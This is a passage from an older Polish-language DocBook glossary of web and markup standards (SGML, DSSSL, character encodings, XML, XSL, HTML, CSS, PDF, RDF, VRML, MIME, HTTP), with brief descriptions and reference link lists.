<ABBREV>SGML</ABBREV>
są między innymi
<SIMPLELIST TYPE="VERT">
<MEMBER><LINK LINKEND="LINUXDOC"><PRODUCTNAME CLASS="TRADE">LinuxDoc</PRODUCTNAME></LINK></MEMBER>
<MEMBER><LINK LINKEND="DOCBOOK"><PRODUCTNAME CLASS="TRADE">DocBook</PRODUCTNAME></LINK></MEMBER>
<MEMBER><LINK LINKEND="TEI"><PRODUCTNAME CLASS="TRADE">TEI</PRODUCTNAME></LINK></MEMBER>
<MEMBER><LINK LINKEND="HTML"><PRODUCTNAME CLASS="TRADE">HTML</PRODUCTNAME></LINK></MEMBER>
</SIMPLELIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-SGML">Standardy: SGML</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="XML-SGML">Rozdział: XML i SGML</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.SGMLsource.com/" ROLE="htmlurl">Charles F.
Goldfarb,</ULINK>
Charles Goldfarb
<EMPHASIS>The SGML Handbook</EMPHASIS>
663 strony, Claredon Pr, luty 1991, ISBN: 0198537379,
<ULINK URL="http://www.amazon.com/" ROLE="htmlurl">(cena w Amazon $99)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.sil.org/sgml/" ROLE="htmlurl">SGML HomePage
(SIL)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.infotek.no/sgmltool/guide.htm" ROLE="htmlurl">The Whirlwind guide to SGML tools</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.oasis-open.org/html/getstart.htm" ROLE="htmlurl">Getting Started with SGML (OASIS)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://itrc.uwaterloo.ca/%7Eengl210e/BookShelf/Tutorials/SGML/" ROLE="htmlurl">SGML Introduction</ULINK>
--
<ULINK URL="mailto:papresco@calum.csclub.uwaterloo.ca" ROLE="mailto">Paul
Prescod g1</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.omnimark.com/white/dec/" ROLE="htmlurl">Understanding the SGML declaration (Omnimark)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://ota.ahds.ac.uk/ota/teip3sg/" ROLE="htmlurl">Gentle
Introduction to SGML (TEI)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://info.fuw.edu.pl/%7Eksiezyk/sgml.html" ROLE="htmlurl">SGML in Poland</ULINK>
Rafała Księżyka (z WN PWN)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:M.Olko@Litterae.com.pl" ROLE="mailto">Litterae. Dokumenty Elektroniczne s.c.</ULINK>
(polska firma produkująca m.in.  ,,Edytor Sterowany Szablonem'' a 
dostosowany do każdego DTD).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:comp.text.sgml" ROLE="news">comp.text.sgml</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="mailto:sgml-request@camk.edu.pl" ROLE="mailto">sgml@camk.edu.pl</ULINK>
polskojęzyczna lista dyskusyjna poświęcona zastosowaniom SGMLa</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.epublica.pol.pl/media/m104.htm" ROLE="htmlurl">Laboratorium hipertekstu: Precedura kontra struktura</ULINK>
w numerze 1. ,,Nowe Media''</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="DSSSL">
<TITLE>DSSSL</TITLE>
<PARA><EMPHASIS><INDEXTERM>
<PRIMARY>DSSSL&#60;/&#62;&#60;/&#62;</PRIMARY>
</INDEXTERM></EMPHASIS>
czyli
<EMPHASIS><INDEXTERM>
<PRIMARY>Document Style Semantics and Specification Language&#60;/&#62;&#60;/&#62;</PRIMARY>
</INDEXTERM></EMPHASIS>
jest specyfikacją służącą formatowaniu dokumentów SGML. Można w ten sposób 
rozdzielić ,,znaczeniowe'' ,,tagowanie'' tekstu, od projektowania jego wyglądu.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="CSS" ROLE="xref">CSS</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://occam.sjf.Novell.com:8080/dsssl/dsssl96" ROLE="htmlurl">ISO/IEC 10179:1996</ULINK>
<EMPHASIS>Information technology --- Processing languages --- Document Style Semantics 
and Specification Language (DSSSL)</EMPHASIS>
@ Novell</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://itrc.uwaterloo.ca/%7Epapresco/dsssl/tutorial.html" ROLE="htmlurl">DSSSL Tutorial</ULINK>
<ULINK URL="mailto:papresco@calum.csclub.uwaterloo.ca" ROLE="mailto">Paul Prescod</ULINK>
(DSSSL)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.jclark.com/jade/" ROLE="htmlurl">JADE </ULINK>
J. Clarka --- dostępny na zasadach public domain parser DSSSL.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Bert Bos' 
<ULINK URL="http://grid.let.rug.nl/%7Ebert/Stylesheets/" ROLE="htmlurl">listing of historical SGML and HTML style proposals</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="ISO-8859-X">
<TITLE>ISO-8859-x</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">ISO-8859-x</PRODUCTNAME>
jest zestawem
norm międzynarodowych (ISO) definiujących 8 bitowe (256 pozycji w
każdym z zestawów wyjąwszy obszar znaków kontrolnych). Jego stosowanie
w Sieci znajduje szczególne usankcjonowanie poprzez bezpośrednie
zalecenie stosowania w dokumentach definiujących
<LINK LINKEND="MIME">MIME.</LINK>
W wypadku polski niemal literalnym odpowiedznikiem  normy ISO jest 
<ULINK URL="http://www.agh.edu.pl/ogonki/pn.html" ROLE="html">PN-93 T-42118</ULINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>International Standard -- Information Processing -- 8-bit Single-Byte
Coded Graphic Character Sets
<ITEMIZEDLIST>
<LISTITEM>
<PARA>Part 1: Latin Alphabet No. 1, ISO 8859-1:1987, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 2: Latin Alphabet No. 2, ISO 8859-2:1987, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 3: Latin Alphabet No. 3, ISO 8859-3:1988, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 4: Latin Alphabet No. 4, ISO 8859-4:1988, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 5: Latin/Cyrillic Alphabet, ISO 8859-5:1988, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 6: Latin/Arabic Alphabet, ISO 8859-6:1987, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 7: Latin/Greek Alphabet, ISO 8859-7:1987, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 8: Latin/Hebrew Alphabet, ISO 8859-8:1988, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 9: Latin Alphabet No. 5, ISO/IEC 8859-9:1989, 1st ed.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>International Standard -- Information Technology -- 8-bit Single-Byte
Coded Graphic Character Sets</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Part 10: Latin Alphabet No. 6, ISO/IEC 8859-10:1992, 1st ed.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="UNICODE">
<TITLE>Unicode</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">Unicode </PRODUCTNAME>
dwubajtowym podzbiorem 4 bajtowego standardu ISO/IEC 10646 (czyli 16 bitowy) 
(z przeciwieństwie do powszechnie dziś stosowanych 8
bitowych) systemem kodowania znaków diakrytycznych mającym umożliwić
używanie w ramach jednego zestawu znaków wielu różnych zestawów.
Niektóre nacje pokładają w nim duże nadzieje (nareszcie narzucony
standard wybawi nas od 18 ,,standardów''), inne nie wiedzieć czemu
ignorują... ;-)))) A poważnie: Unicode jest w tej chwili obecny raczej
w wewnętrznych (jądrze czy jakoś tak) tablicach kodowania w Linuksie,
ponoć w M$ NT, ale jeszcze na tereny pajęczyny nie wkroczyło (głównie
z powodu słabej kompatybilności z innymi normami typu ASCII i
pochodne).</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA> 
Włodzimierz Wypych ,,Cyfrowy karakter --- krótka historia kodowania znaków'' 
[w:]
<ULINK URL="http://www.epublica.pol.pl/" ROLE="html">,,Nowe Media''</ULINK>
2/98</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cto.us.edu.pl/%E7trzcionk/ogonkiwunicode.html" ROLE="htmlurl">Ogonki w Unikodzie --- Piotr Trzcionkowski</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="STD-UNICODE">Standardy: Unicode</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.unicode.org/" ROLE="htmlurl">Unicode Consortium</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:pl.comp.ogonki" ROLE="news">grupa pl.comp.ogonki</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:comp.text" ROLE="news">grupa comp.text</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>The Unicode Standard Ver. 2.0</EMPHASIS>
The Unicode
Consortium
<ULINK URL="http://www.aw.com/devpress/" ROLE="htmlurl">Addison Wesley DevelopersPress</ULINK>
(ISBN 0-201-48395-9)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>ISO/IEC 10646 ---
<ABBREV LANG="en">ISO</ABBREV>
International
Organisation for Standardization ISO/IEC 10646-1993 (E).
<EMPHASIS>Information Technology --- Universal Multiple-Octet Coded Charachter
Set (UCS) --- Part 1: Architecture and Basic Multilingual Pland.</EMPHASIS>
[Geneva]</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="XML">
<TITLE>XML</TITLE>
<PARA><ABBREV>XML</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">eXtensible Markup Language</PRODUCTNAME>
jest uproszczoną specyfikacją
<LINK LINKEND="SGML">SGMLa</LINK>
(wykluczającą mniej przydane/trudniejsze
w implementacji elementy specyfikacji). Wbrew wielu doniesieniom
prasowym nie ma służyć do zastąpienia HTMLa jako formatu reprezentacji
dokumentów. Ma raczej tworzyć przestrzeń do łatwiejszego składowania
informacji, do tworzenia funkcjonalnych rozszerzeń pajęczyny w nowych
obszarach. umożliwiającą tworzenie i dodawanie własnych znaczników do
dokumentów. Nie ma na celu zastąpienia ani SGMLa ani HTML. Jest (ma
być) raczej etapem pośrednim --- rozszerzeniem możliwości o tworzone
niemal
<FOREIGNPHRASE>ad hoc</FOREIGNPHRASE>
zestawy znaczników,
często nawet bez etapu pisania DTD.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.sil.org/sgml/xml/" ROLE="htmlurl">XML Homepage</ULINK>
Robina Covera</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.xml.com/" ROLE="htmlurl">XML.com</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/TR/WD-xml" ROLE="htmlurl">W3C XML Working Draft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
grupa
<ULINK URL="news:comp.text.xml" ROLE="news"><FILENAME MOREINFO="NONE">comp.text.xml</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.textuality.com/xml/" ROLE="htmlurl">XML @ textuality.com</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Peter Flynn 
<ULINK URL="http://www.textuality.com/xml/" ROLE="htmlurl">XML FAQ </ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="XSL">
<TITLE>XSL</TITLE>
<PARA><ABBREV LANG="en">XSL</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">eXtensible Style Language</PRODUCTNAME>
jest zaproponowanym przez
<ULINK URL="http://www.abortext.com/" ROLE="html">Abortex,</ULINK>
INSO i
<ULINK URL="http://www.microsoft.com/xml/" ROLE="html">Microsoft</ULINK>
językiem formatowania danych
<PRODUCTNAME CLASS="TRADE">XML</PRODUCTNAME>
opartym na
<LINK LINKEND="DSSSL"><PRODUCTNAME CLASS="TRADE">DSSSL</PRODUCTNAME></LINK>
i XML oraz (dla zachowania wstecznej zgodności)
<LINK LINKEND="CSS"><PRODUCTNAME CLASS="TRADE">CSS1.</PRODUCTNAME></LINK>
<ABBREV>XSL</ABBREV>
będzie pozwalał na manipulowanie
formatowaniem, wyglądem dokumentów
<ABBREV>XML</ABBREV>
(również
(wraz z DOM) przy pomocy rozmaitych języków skryptowych wykonywanych
po stronie klienta) w bardzo szerokim stopniu, włącznie z operacjami
tradycyjnie wykonywanymi przez preprocesory (takimi jak np. sortowanie
alfabetyczne list).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/xml/xsl/" ROLE="htmlurl">XSL @
Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Norman Walsh
<ULINK URL="http://nwalsh.com/posters/sgml97/xsl.html" ROLE="htmlurl">XSL Poster from SGML/XML'97</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ltg.ed.ac.uk/%E7ht/swindon.html" ROLE="htmlurl">An Introduction to XSL by Henry Thompson</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.jeremie.com/JS/XSL/all.html" ROLE="htmlurl">Jeremie Tech Extensible Style Sheets JumpStart</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HTML">
<TITLE>HTML</TITLE>
<PARA><ABBREV LANG="en">HTML</ABBREV>
---
<APPLICATION MOREINFO="NONE">Hypertext Markup Language</APPLICATION>
jest napisanym w
<LINK LINKEND="SGML">SGMLu</LINK>
hipertekstowym językiem kodowania
dokumentów zaprojektowanym do swobodnego i szybkiego nauczenia się go.</PARA>
<PARA>Od roku 1990 (gdy powstała pierwsza wersja --- pod kierunkiem Tima
Berners-Lee w
<ULINK URL="http://www.cern.ch/CERN/WorldWideWeb/WWWandCERN.html" ROLE="htmlurl">CERN)</ULINK>
przeszedł długą i krętą drogę od
prostego (w praktyce zawierającego kilkanaście wyrażeń) języka
znakowania ZNACZEŃ dokumentów do języka (dla niektórych) opisu strony,
czy generalnie przezentacji aplikacji. Ostanio tendencja ta odwraca
się dzięki przemyślanej polityce
<LINK LINKEND="W3C">W3C</LINK>
,
opracowaniu zgodnych z wymogami ,,przemysłu'' i standardów rozszerzeń
(CSS., HTML 4.0.,
<ULINK URL="http://www.w3.org/DOM/" ROLE="html"><PRODUCTNAME CLASS="TRADE">Document Object Model</PRODUCTNAME></ULINK>
(będący podstawą
<LINK LINKEND="DHTML">DHTML))</LINK></PARA>
<PARA>Podstawowe założenia przyświecające powstaniu i rozwijaniu języka:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>prostota (tak w sensie nauczenia się, jak i realizacji przez klientów)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>podstawowe znakowanie, z możliwością podziału na funkcjonalne części
dokumentu</PARA>
</LISTITEM>
<LISTITEM>
<PARA>niezależność od platformy</PARA>
</LISTITEM>
<LISTITEM>
<PARA>elementy zależności między dokumentami (i poszczególnymi ich
fragmentami) --- implementowany tylko w Arenie i Lynxie
&lt;LINK&gt;</PARA>
</LISTITEM>
<LISTITEM>
<PARA>różne poziomy implementacji języka, w tym istniejący jednynie w HTML
3.0. (i implementowany w
<PRODUCTNAME CLASS="TRADE">Arenie)</PRODUCTNAME>
poziom matematyczny.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-HTML">Standardy: HTML</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="KOD-HTML">Rozdział: Tworzenie --- HTML</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/MarkUp/" ROLE="htmlurl">HTML @ W3C</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/" ROLE="htmlurl">The Web Design Group</ULINK>
(opisy HTML 3.2, CSS, Style Guide, spis ważnych odnośników)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.hwg.org/" ROLE="htmlurl">HTML Writers Guild</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="CSS">
<TITLE>CSS</TITLE>
<PARA><ABBREV LANG="en">CSS1</ABBREV>
czyli
<PRODUCTNAME CLASS="TRADE">Cascading Style Sheets Level 1</PRODUCTNAME>
jest prostym językiem
arkuszy stylistycznych pozwalającym na dołączanie tychże do kodu HTMLa.
Każdemu elementowi, każdemu wystąpieniu danej klasy można
przyporządkować określony styl: położenie względem marginesów, kolor i
wielkość fontu.</PARA>
<PARA>CSS jest (przynajmniej dla mnie, ponieważ dla ,,poważnych'' zastosowań
przemysłowych istnieje DSSSL) próbą opanowania rozwoju stosowanego
przez niektórych producentów ,,znakowania typograficznego'' (wielce
przy tym zawodnego, bo zależnego nie tylko od przeglądarki, ale i
systemu operacyjnego, rozdzielczości monitora użytkownika końcowego i
innych czynników) czyli np. CENTER, BODY BACKGROUND="red.gif" i
powrotu do HTMLa semi-znaczeniowego. Posiada przy tym tak prostą
<PROGRAMLISTING FORMAT="LINESPECIFIC">nazwa_odpowiedniego_znacznika_HTML ( atrybut_1: wartość, atrybut_2:
wartość /** komentarz jak z C **/)</PROGRAMLISTING>
składnię,
elastyczność (np. o wiele dokładniejsze niżby to było możliwe w HTMLu
pozycjonowanie elementów, możliwość automatycznego dołączania arkuszy
z osobnych plików), że stanowi poważną konkurencję dla NHTMLa i innych
wodotrysków.</PARA>
<PARA>Warto tutaj zwrócić uwagę na fakt, że prawidłowo napisany dokument
HTML+CSS w wypadku kontaktu z przeglądarką nie używająca ,,styli''
(-ów?) powinien być w dalszym ciągu czytelny (choć może mniej kolorowy
i bez nadzwyczajnych efektów, zwłaszcza w wypadku drukowania).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/TR/REC-CSS1" ROLE="htmlurl">Cascading Style Sheets, level 1 --- W3C Recommendation 17 Dec 1996</ULINK>
<ULINK URL="mailto:howcome@w3.org" ROLE="mailto">Hĺkon Wium
Lie</ULINK>
<ULINK URL="mailto:bert@w3.org" ROLE="mailto">Bert Bos</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/TR/WD-positioning" ROLE="htmlurl">Positioning HTML Elements with Cascading Style Sheets</ULINK>
@ W3C</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/reference/css/" ROLE="htmlurl">WDG
CSS1 Reference</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://webreference.com/dev/style/evolution.html" ROLE="htmlurl">The Evolution of Style Sheets @ webreference.com</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/opentype/css/gallery/" ROLE="htmlurl">Cascading Style Sheets Gallery @ Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.hwg.org/" ROLE="htmlurl">HWG CSS FAQ</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="PDF">
<TITLE>PDF</TITLE>
<PARA><ABBREV>PDF</ABBREV>
<PRODUCTNAME CLASS="TRADE">Portable Document Format</PRODUCTNAME>
jest opartym na
<LINK LINKEND="POSTSCRIPT"><PRODUCTNAME CLASS="TRADE">PostScriptcie</PRODUCTNAME></LINK>
---
opracowanym również przez
<PRODUCTNAME CLASS="TRADE">Adobe</PRODUCTNAME>
formatem danych. W przeciwieństwie od
<PRODUCTNAME CLASS="TRADE">PostScriptu</PRODUCTNAME>
posiada elementy interaktywne takie jak odnośniki, notki 
(annotations), zakładki,
miniatury stron (thumbnails), formularze. Poza tym pliki z danymi
podlegają kompresji. Wykorzystywany jest w sytuacji, gdy potrzebne
jest wierne odtworzenie wyglądu danej publikacji i elementy publikacji
elektronicznej takie jak hipertekstowy spis treści, przypisy, indeks
czy wreszcie możliwość przeszukiwania.</PARA>
<PARA><ULINK URL="http://www.adobe.com/" ROLE="html"><PRODUCTNAME CLASS="TRADE">Adobe</PRODUCTNAME></ULINK>
udostępnia za darmo
przeglądarkę plików
<ABBREV>PDF,</ABBREV>
za firmowe narzędzia do
ich przygotowowywania trzeba płacić. Istnieje jenak pewna ilość
darmowych narzędzi, takich jak np. Ghostscript posiadacy
możliwość destylacji odpowiednio przygotowanego PS do PDF.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="news:comp.text.pdf" ROLE="news">grupa
<FILENAME MOREINFO="NONE">comp.text.pdf</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
<ULINK URL="http://www.pdfzone.com/" ROLE="htmlurl">PDFzone.COM | All Things Acrobat and pdf </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tomasz Przechylewski ,,Publikacje elektroniczne: TeX i PDF''
<ULINK URL="http://www.gust.org.pl/" ROLE="htmlurl">Biuletyn GUST</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="RDF">
<TITLE>RDF</TITLE>
<PARA><ABBREV>RDF</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Resource
Description Framework</PRODUCTNAME>
jest projektem mającym zapewnić
niezależną od producenta i aplikacji infrastrukturę dla meta-danych w
pajęczynie. Do podstawowych celów należy umożliwienie automatycznego
przetwarzania zasobów pajęczyny, tak przez oprogramowanie użytkownika
końcowego (np. rozbudowany, samoporządkujący się system zakładek) jak
i szeroko rozumianą infrastrukturę internetu: przeszukiwarki, katalogi
tematyczne, ,,baby watch''.</PARA>
<PARA>Przy tym nie chodzi o stworzenie konkretnych znaczników do kodu
HTML/XML/czegokolwiek, a raczej o uczynienie metod opisu danych
przenośnymi między aplikacjami. W tej chwili tworzone są aplikacje
stosujące się do RDF:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-PICS-labels-961031" ROLE="htmlurl">PICS</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Microsoft
<ULINK URL="http://www.w3.org/Submission/1997/3/" ROLE="htmlurl">XML Web Collections</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Netscape
<ULINK URL="http://www.w3.org/Submission/1997/8/" ROLE="htmlurl">XML/MCF</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/RDF/" ROLE="htmlurl">RDF @ W3C </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://purl.oclc.org/metadata/dublin_core/" ROLE="htmlurl">OCLC's Nov'97 Press Release</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="VRML">
<TITLE>VRML</TITLE>
<PARA><EMPHASIS>VRML</EMPHASIS>
czyli
<EMPHASIS>Vitual Reality Modeling
Language</EMPHASIS>
jest to, wykorzystujący niektóre mechanizmy WWW
(takie jak httpd, czy URL), język opisu scen trójwymiarowych oparty na
formacie Open Inventor stworzonym przez Silicon Graphics. Niektórzy
wiążą z nim duże nadzieje, uważając że przekaz graficzny jest łatwiej
przyswajalny, ale (przynajmniej dla mnie) poziom skomplikowania
języka, wielkość plików, brak praktycznych zastosowań osiągalnych w
stosunkowo krótkim czasie powodują, że jest to raczej przyszłość niż
teraźniejszość.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://vag.vrml.org/VRML2.0/FINAL/" ROLE="htmlurl">VRML
2.0 --- Specyfikacja (VRML Architecture Group)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="news:comp.lang.vrml" ROLE="news">grupa comp.lang.vrml</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://vrml.wired.com/" ROLE="htmlurl">VRML Forum (Wired)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.sdsc.edu/vrml/" ROLE="htmlurl">VRML Repository
(SDSC)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://vrml.sgi.com/vrml97/courses/compel/" ROLE="htmlurl">VRML 97</ULINK>
zarządzana przez
<ULINK URL="http://www.sgi.com/" ROLE="htmlurl">Silicon Graphics</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Piotr Gawrysiak
<EMPHASIS>VRML. Wirtualna rzeczywistość w Internecie</EMPHASIS>
Warszawa 1995, 1996;
<ULINK URL="http://www.pol.pl/witryna._p/mikom/" ROLE="htmlurl">Zakład
Nauczania Informatyki MIKOM</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://andante.iss.uw.edu.pl/obuz/vrmlp/index.html" ROLE="htmlurl">VRML w Polsce (Instytut Studiów Społecznych UW)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://math.amu.edu.pl/ftp/windows/" ROLE="htmlurl">AMU-NET's VRML Repository (Administrator: Klaudiusz Modrzewski)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.enter.pol.pl/vrml/kurs/kurs.htm" ROLE="htmlurl">Kurs VRML @ EnterNET </ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="MIME">
<TITLE>MIME</TITLE>
<PARA><ABBREV LANG="en">MIME</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Multipurpose Internet Mail Extensions</PRODUCTNAME>
jest zbiorem
specyfikacji (wykorzystywanym także poza pocztą elektroniczną)
pozwalającym na:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>identyfikację typu pliku przy pomocy nagłówków przekazywanych
niezależnie od pliku ' --- nie zaś zgadywania podobnego do
<COMMAND MOREINFO="NONE">file(1)</COMMAND></PARA>
</LISTITEM>
<LISTITEM>
<PARA>identyfikację zastosowanego zestawu znaków</PARA>
</LISTITEM>
<LISTITEM>
<PARA>kodowanie plików binarnych, wymagających zestawu znaków &lt;
 = 8 bit
na postać 7bitową w wypadku niemożności przesłania w postaci
nienaruszonej.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
W pajęczynie wykorzystuje się
<ABBREV>MIME</ABBREV>
głównie w nagłówkach
<LINK LINKEND="HTTP">HTTP.</LINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-MIME">Standardy: MIME</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/usenet/comp.mail.mime/" ROLE="htmlurl">comp.mail.mime FAQ</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HTTP">
<TITLE>HTTP</TITLE>
<PARA><ABBREV LANG="en">HTTP</ABBREV>
czyli
<PRODUCTNAME CLASS="TRADE">Hypertext Transfer Protocol</PRODUCTNAME>
jest protokołem typu
klient-serwer warstwy aplikacyjnej (działającym w oparciu o protokół
TCP) służącym do pobierania (i przy użyciu niektórych (w pełni
realizujących standard serwerów) dostarczania) dokumentów
hipertekstowych (najczęściej w postaci HTML) a także zbiorów binarnych
takich jak programy albo dokumenty pochodzące ze specjalizowanych
edytorów tekstów.</PARA>
